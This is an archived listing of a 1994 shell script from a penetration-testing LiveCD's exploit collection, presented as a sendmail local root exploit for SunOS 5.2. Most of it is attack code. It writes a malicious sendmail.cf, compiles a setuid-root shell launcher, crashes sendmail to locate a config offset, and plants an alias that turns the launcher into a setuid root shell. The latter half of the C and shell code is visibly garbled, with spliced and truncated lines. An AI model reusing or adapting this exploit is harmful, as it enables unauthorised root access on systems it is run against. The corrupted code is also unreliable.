home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / setid0.sh < prev    next >
Linux/UNIX/POSIX Shell Script  |  2005-02-12  |  14KB  |  391 lines

  1. #!/bin/sh
  2. # exploit new sendmail bug to give us a root shell
  3. # 24 mar 94  jwa/scd@nau.edu
  4. # "short version"
  5. # tested on sunos 5.2/sendmail 8.6.4
  6.  
  7. SENDMAIL=/usr/lib/sendmail
  8.  
  9. # real location of original sendmail.cf file.. no links allowed!
  10. CONFIG=/etc/sendmail.cf
  11.  
  12. # program to execute as root
  13. SHELL=/bin/csh
  14.  
  15. TEMPDIR=/tmp/sendbug-tmp.$$
  16. mkdir $TEMPDIR
  17. chmod 700 $TEMPDIR
  18. cd $TEMPDIR
  19.  
  20. cp $SENDMAIL sm
  21. chmod 700 sm
  22.  
  23. echo "Creating mail config file..." 
  24. cat > /tmp/sm.cf << _EOF_
  25. V5
  26. Cwlocalhost
  27. CP.
  28. DS
  29. DR
  30. DH
  31. DM\$j
  32. CLroot
  33. CEroot
  34. CO @ % !
  35. C..
  36. Kdequote dequote
  37. CPREDIRECT
  38. De\$j Sendmail \$v/\$Z ready at \$b
  39. DlFrom \$g  \$d
  40. DnMAILER-DAEMON
  41. Do.:%@!^/[]
  42. Dq\$?x\$x <\$g>\$|\$g\$.
  43. DZ2.1
  44. O7False
  45. Oa10
  46. OA/tmp/aliases
  47. Ob20
  48. OB.
  49. OcFalse
  50. OC10
  51. Odbackground
  52. ODFalse
  53. Oem
  54. OfTrue
  55. OF0600
  56. OGFalse
  57. Og1
  58. Oh25
  59. OiFalse
  60. OI
  61. OjFalse
  62. OJ\$z/.forward.\$w:\$z/.forward
  63. Ok2
  64. OK5m
  65. OlFalse
  66. OL9
  67. OmTrue
  68. OnTrue
  69. OoTrue
  70. Opneedmailhelo
  71. OQ/var/spool/mqueue
  72. OsTrue
  73. OT3d/4h
  74. Ou0
  75. OU
  76. OwTrue
  77. Ox8
  78. OX12
  79. OYFalse
  80. Pfirst-class=0
  81. Pspecial-delivery=100
  82. Plist=-30
  83. Pbulk=-60
  84. Pjunk=-100
  85. Troot
  86. Tdaemon
  87. Tuucp
  88. H?P?Return-Path: \$g
  89. HReceived: \$?sfrom \$s \$.\$?_(\$_) \$.by \$j (\$v/\$Z)\$?r with \$r\$. id \$i\$?u for \$u\$.; \$b
  90. H?D?Resent-Date: \$a
  91. H?D?Date: \$a
  92. H?F?Resent-From: \$q
  93. H?F?From: \$q
  94. H?x?Full-Name: \$x
  95. HSubject:
  96. H?M?Resent-Message-Id: <\$t.\$i@\$j>
  97. H?M?Message-Id: <\$t.\$i@\$j>
  98. S3
  99. R\$@                    \$@ <@>
  100. R\$*<\$*>\$*<\$*>\$*            \$2\$3<\$4>\$5                  strip multiple <> <>
  101. R\$*<\$*<\$+>\$*>\$*            <\$3>\$5                                2-level <> nesting
  102. R\$*<>\$*                       \$@ <@>                         MAIL FROM:<> case
  103. R\$*<\$+>\$*            \$2                             basic RFC821/822 parsing
  104. R\$*:;\$*                       \$@ \$1 :; <@>
  105. R@ \$+ , \$+            @ \$1 : \$2                     change all "," to ":"
  106. R@ \$+ : \$+            \$@ \$>96 < @\$1 > : \$2                handle <route-addr>
  107. R \$+ : \$* ; @ \$+     \$@ \$>96 \$1 : \$2 ; < @ \$3 > list syntax
  108. R \$+ : \$* ;           \$@ \$1 : \$2;                  list syntax
  109. R\$+ @ \$+              \$: \$1 < @ \$2 >                       focus on domain
  110. R\$+ < \$+ @ \$+ >              \$1 \$2 < @ \$3 >                       move gaze right
  111. R\$+ < @ \$+ >          \$@ \$>96 \$1 < @ \$2 >         already canonical
  112. R\$- ! \$+              \$@ \$>96 \$2 < @ \$1 .UUCP >   resolve uucp names
  113. R\$+ . \$- ! \$+                \$@ \$>96 \$3 < @ \$1 . \$2 >           domain uucps
  114. R\$+ ! \$+              \$@ \$>96 \$2 < @ \$1 .UUCP >   uucp subdomains
  115. R\$* % \$*              \$1 @ \$2                               First make them all @s.
  116. R\$* @ \$* @ \$*                \$1 % \$2 @ \$3                 Undo all but the last.
  117. R\$* @ \$*              \$@ \$>96 \$1 < @ \$2 >         Insert < > and finish
  118. S96
  119. R\$* < @ localhost > \$*                \$: \$1 < @ \$j . > \$2         no domain at all
  120. R\$* < @ localhost . \$m > \$*  \$: \$1 < @ \$j . > \$2         local domain
  121. R\$* < @ localhost . UUCP > \$* \$: \$1 < @ \$j . > \$2         .UUCP domain
  122. R\$* < @ [ \$+ ] > \$*          \$: \$1 < @ [[ \$2 ]] > \$3             catch [a.b.c.d]
  123. R\$* < @ [ \$=w ] > \$*         \$: \$1 < @ \$j . > \$3         self-literal
  124. R\$* < @ [[ \$+ ]] > \$*                \$: \$1 < @ [ \$2 ] > \$3               strip dbl [[]]
  125. R\$* < @ \$+ . UUCP > \$*               \$@ \$1 < @ \$2 . UUCP > \$3
  126. R\$* < @ \$* \$~P > \$*         \$: \$1 < @ \$[ \$2 \$3 \$] > \$4
  127. R\$* < @ \$j > \$*                      \$: \$1 < @ \$j . > \$2
  128. S4
  129. R\$*<@>                 \$@ \$1                         handle <> and list:;
  130. R\$* < @ [ \$+ ] > \$*  \$: \$1 < @ \$[ [\$2] \$] > \$3 lookup numeric internet addr
  131. R\$* < @ \$+ . > \$*    \$1 < @ \$2 > \$3
  132. R\$* < \$+ > \$*                \$1 \$2 \$3                     defocus
  133. R@ \$+ : @ \$+ : \$+    @ \$1 , @ \$2 : \$3             <route-addr> canonical
  134. R@ \$*                  \$@ @ \$1                               ... and exit
  135. R\$+ @ \$- . UUCP               \$2!\$1                         u@h.UUCP => h!u
  136. R\$+ % \$=w @ \$=w              \$1 @ \$j                               u%host@host => u@host
  137. S97
  138. R\$*                    \$: \$>3 \$1
  139. R\$*                    \$@ \$>0 \$1
  140. S0
  141. R<@>                    \$#local \$: <>                 special case error msgs
  142. R\$*:;<@>               \$#error \$@ USAGE \$: "list:; syntax illegal for recipient addresses"
  143. R\$* < @ [ \$+ ] > \$*  \$: \$1 < @ \$[ [\$2] \$] > \$3 numeric internet addr
  144. R\$* < @ [ \$+ ] > \$*  \$: \$>98 \$1 < @ [ \$2 ] > \$3 numeric internet spec
  145. R\$* < @ [ \$+ ] > \$*  \$#smtp \$@ [\$2] \$: \$1 @ [\$2] \$3   still numeric: send
  146. R\$* < @ > \$*          \$@ \$>97 \$1           user@ => user
  147. R< @ \$=w . > : \$*     \$@ \$>97 \$2           @here:... -> ...
  148. R\$* \$=O \$* < @ \$=w . >      \$@ \$>97 \$1 \$2 \$3           ...@here -> ...
  149. R\$*                    \$: \$>98 \$1
  150. R\$+ < @ \$=w . >               \$: \$1 < @ \$2 @ \$H >         first try hub
  151. R\$+ < \$+ @ \$+ >              \$#local \$: \$1                        yep ....
  152. R\$+ < \$+ @ >          \$#local \$: @ \$1                      nope, local address
  153. R< @ \$=Z . UUCP > : \$+                \$#uucp-dom \$@ \$1 \$: \$2     @host.UUCP: ...
  154. R\$+ < @ \$=Z . UUCP >          \$#uucp-dom \$@ \$2 \$: \$1     user@host.UUCP
  155. R< @ \$=Y . UUCP > : \$+                \$#suucp \$@ \$1 \$: \$2        @host.UUCP: ...
  156. R\$+ < @ \$=Y . UUCP >          \$#suucp \$@ \$2 \$: \$1        user@host.UUCP
  157. R< @ \$=U . UUCP > : \$+                \$#uucp \$@ \$1 \$: \$2 @host.UUCP: ...
  158. R\$+ < @ \$=U . UUCP >          \$#uucp \$@ \$2 \$: \$1 user@host.UUCP
  159. R\$*<@\$+.BITNET>\$*    \$: \$>95 < \$B > \$1 <@\$2.BITNET> \$3 user@host.BITNET
  160. R\$*<@\$*.UUCP>\$*              \$: \$>95 < \$Y > \$1 @ <\$2.UUCP> \$3  uucp mail
  161. R\$* < @ \$* > \$*              \$: \$>95 < \$S > \$1 < @ \$2 > \$3     glue on smarthost name
  162. R\$* < @\$* > \$*               \$#smtp \$@ \$2 \$: \$1 < @ \$2 > \$3           user@host.domain
  163. R\$+                    \$: \$(dequote \$1 \$)          strip quotes
  164. R\$+ \$=O \$+           \$@ \$>97 \$1 \$2 \$3                   try again
  165. R\$=L                   \$#local \$: @ \$1                      special local names
  166. R\$+                    \$#local \$: \$1                        regular local names
  167. S5
  168. R\$+                    \$: \$>95 < \$R > \$1                   try relay
  169. R\$+                    \$: \$>95 < \$H > \$1                   try hub
  170. S95
  171. R< > \$*                        \$@ \$1                         strip off null relay
  172. R< \$- : \$+ > \$*              \$# \$1 \$@ \$2 \$: \$3         try qualified mailer
  173. R< \$=w > \$*           \$@ \$2                         delete local host
  174. R< \$+ > \$*            \$#relay \$@ \$1 \$: \$2                use unqualified mailer
  175. S98
  176. R\$* < @ \$+ .REDIRECT >        \$# error \$@ NOUSER \$: "551 User not local; please try " <\$1@\$2>
  177. Mlocal,         P=/bin/mail, F=lsDFMfmnPS, S=10, R=20/40,
  178.                 A=mail -d \$u
  179. Mprog,          P=/bin/sh, F=lsDFMeuP, S=10, R=20/40, D=\$z:/,
  180.                 A=sh -c \$u
  181. S10
  182. R<@>                    \$n                     errors to mailer-daemon
  183. R\$+                    \$: \$>40 \$1
  184. S20
  185. R\$+ < @ \$* >          \$: \$1                 strip host part
  186. S40
  187. Msmtp,          P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n,
  188.                 L=990, A=IPC \$h
  189. Mesmtp,         P=[IPC], F=mDFMuXa, S=11/31, R=21, E=\r\n,
  190.                 L=990, A=IPC \$h
  191. Mrelay,         P=[IPC], F=mDFMuXa, S=11/31, R=51, E=\r\n,
  192.                 L=2040, A=IPC \$h
  193. S11
  194. R\$+                    \$: \$>51 \$1                   sender/recipient common
  195. R\$* :; <@>             \$@ \$1 :;                      list:; special case
  196. R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
  197. R\$*                    \$@ \$>61 \$1
  198. R\$+                    \$: \$>51 \$1
  199. R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
  200. R\$+                    \$: \$1 < @ \$j >                       add local domain
  201. S31
  202. R\$+                    \$: \$>51 \$1                   sender/recipient common
  203. R\$* :; <@>             \$@ \$1 :;                      list:; special case
  204. R\$* <@> \$*            \$@ \$1 <@> \$2                 pass null host through
  205. R< @ \$* > \$*          \$@ < @ \$1 > \$2                       pass route-addr through
  206. R\$=E < @ \$=w . >      \$@ \$1 < @ \$2 >                       exposed user as is
  207. R\$* < @ \$=w . >               \$: \$1 < @ \$M >                       masquerade as domain
  208. R\$* < @ >              \$: \$1 < @ \$j >                       in case \$M undefined
  209. R\$* < @ \$* > \$*              \$@ \$1 < @ \$2 > \$3           already qualified
  210. R\$*                    \$@ \$>61 \$1
  211. S51
  212. R< @ \$+ > \$*          \$@ < @ \$1 > \$2                       resolve <route-addr>
  213. R\$+ <@ \$+ . BITNET >  \$: \$1 % \$2 .BITNET < @ \$B > user@host.BITNET
  214. R\$+.BITNET <@ \$+:\$+ >        \$: \$1 .BITNET < @ \$3 >               strip mailer: part
  215. R\$+ <@ \$+ . UUCP >    \$: \$2 ! \$1 < @ \$j >         user@host.UUCP
  216. S61
  217. R\$=E                   \$@ \$1 < @ \$j>                        show exposed names
  218. R\$+                    \$: \$1 < @ \$M >                       user w/o host
  219. R\$+ <@>                        \$: \$1 < @ \$j >                       in case \$M undefined
  220. Muucp,          P=/usr/bin/uux, F=DFMhuU, S=12, R=22, M=100000,
  221.                 A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
  222. Msuucp,         P=/usr/bin/uux, F=mDFMhuU, S=12, R=22, M=100000,
  223.                 A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
  224. Muucp-dom,      P=/usr/bin/uux, F=mDFMhu, S=52/31, R=21, M=100000,
  225.                 A=uux - -r -z -a\$f -gC \$h!rmail (\$u)
  226. S12
  227. R<@>                            \$n                     errors to mailer-daemon
  228. R\$* :; <@>                     \$@ \$1 :;
  229. R\$* < @ \$* . >                        \$1 < @ \$2 >           strip trailing dots
  230. R\$* < @ \$j >                  \$1                     strip local name
  231. R\$* < @ \$- . UUCP >           \$2 ! \$1                       convert to UUCP format
  232. R\$* < @ \$+ >                  \$2 ! \$1                       convert to UUCP format
  233. R\$+                            \$: \$U ! \$1           prepend our name
  234. S22
  235. R\$* :; <@>                     \$@ \$1 ;:
  236. R\$* < @ \$* . >                        \$1 < @ \$2 >           strip trailing dots
  237. R\$* < @ \$j >                  \$1                     strip local name
  238. R\$* < @ \$- . UUCP >           \$2 ! \$1                       convert to UUCP format
  239. R\$* < @ \$+ >                  \$2 ! \$1                       convert to UUCP format
  240. S52
  241. R<@>                            \$n                     errors to mailer-daemon
  242. R\$*                            \$@ \$>11 \$1
  243. _EOF_
  244.  
  245. echo "Creating setid0..."
  246. cat > setid.c << _EOF_
  247.  
  248. /* set uid to zero, thus escaping the annoying csh and solaris sh
  249.  * problem..
  250.  *
  251.  * if (getuid() != geteuid()) {
  252.  *  printf("permission denied, you root-hacker you.\n");
  253.  *  exit(1);
  254.  * }
  255.  */
  256.  
  257. #include <stdio.h>
  258.  
  259. main(argc, argv)
  260. int argc;
  261. char *argv[];
  262. {
  263.  setuid(0);
  264.  setgid(0);
  265.  seteuid(0);
  266.  setegid(0);
  267.  
  268.  if (getuid()) {
  269.   printf("setuid(0); failed!  aborting..\n");
  270.   exit(1);
  271.  }
  272.  
  273.  if (argc !=2) {
  274.   printf("executing /bin/sh...\n");
  275.   system("/bin/sh");
  276.  }
  277.   else
  278.  {
  279.   printf("executing %s...\n", argv[1]);
  280.   system(argv[1]);
  281.  }
  282. }
  283. _EOF_
  284.  
  285. cc -o setid0 setid.c
  286.  
  287. echo "Creating calc..."
  288.  
  289. cat > calc.c << _EOF_
  290. /*
  291.  * Determines offset in sendmail of
  292.  * sendmail.cf file location.
  293.  */
  294. #include <fcntl.h>
  295.  
  296. gencore()
  297. {
  298.   int pid;
  299.   int fd[2];
  300.  
  301.   if(pi(fd) < 0) {
  302.     perror("pipe");
  303.    exit(1);
  304.     return(0);
  305.   }
  306.   pid = fork(nt f = open("./out", ORDWR|O_CREAT, 0666);
  307.     dup2(f, 1); dup2(fd[0], 0);
  308.  close(fd[1]); close(fd[0]);
  309.     execl("./s","sm","-d0-9.90","-oQ.","-bs", 0);
  310.     sleep(2);
  311.     kill(pid, 11);
  312.   }
  313.  );
  314.   close(fd[1]);
  315. }
  316.  
  317. main(argc,ar **agv;
  318. int argc;
  319. {
  320.   unsigned int ConfFile,tTdvect,off;
  321.  
  322.   gencore();
  323.   sc(orever to figure this out. */
  324.   tTdvect = find("ZZZZZZZZ", "core");
  325.   ConfFile =);
  326.  le) {
  327.    /*
  328.     *not found, argh, we fucked up.  should not happen, unless you
  329. $CONFIG filename or you don't have the bug.
  330.     * There could also be a probation data
  331.     * being encrypted in some lame fashion or a corewas not able
  332.    to be generated (Reports say in some systems, a SEGV will
  333.     * cause sendmail  there w    * can still be done by hand :-)
  334.     */
  335.    return(1);
  336.   }
  337.   off = ConfFiletf(.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  338.   off, '/', off+, 't', off+2, ''/', off+5, 'f7, '.', off+8, 'c', off+9, 'f', off+10);
  339. }
  340.  
  341. int find(pattern, file
  342. char *pafd;
  343.  ;
  344.  
  345.   fd = open(file, 0);
  346.  
  347.   i = 0;
  348.   addr = 0;
  349.   while(read(fd, &c, 1) == 1f(pattern[i] == c)
  350.       i++;
  351.     elsatteraddr -= strlen(attern);
  352.       return(addr);
  353.     }
  354.     addr++;
  355.   }
  356.   return(0-o ca"Scanning core image for $CONFIG.."
  357.  
  358. DEBUGFLAGS=`calc $CONFIG`
  359.  
  360. echo ..."
  361. echo "#!/bin/sh
  362. # this program will be executed when mailis sent to the faris sh and run hen euid != realuid,
  363. # we instead run the program we compiled above.
  364.  od 6755 $TEMPDIR/setid0
  365. /bin/chown root $TEMPDIR/setid0
  366.  
  367. " > alias.sh
  368.  
  369. chm.she alias file..."
  370. echo "yash: |$TEMPDIR/alias.sh" > /tmp/aliases
  371.  
  372. echo "Makin..."
  373. echo "
  374. helo
  375. mail from: <nobody>
  376. rcpt to: <yash>
  377. data
  378. hack hack hack
  379. .
  380. IL $DEBUGFLAGSle sytems so it appears as a suid file.
  381. sync
  382.  
  383. # cleanup in 4 s rm -f $TEMPDIR ; rm -f /tmp/sm.cf ; rm -f /tmp/aliases) etid0 ]
  384. then
  385.  echo "stid0 is a suid shell.  executing..."
  386.  $TEMecho "end of script."
  387.  exit 0
  388. else
  389.  echo "setid0 is nopt failed."
  390.  exit 1
  391. fi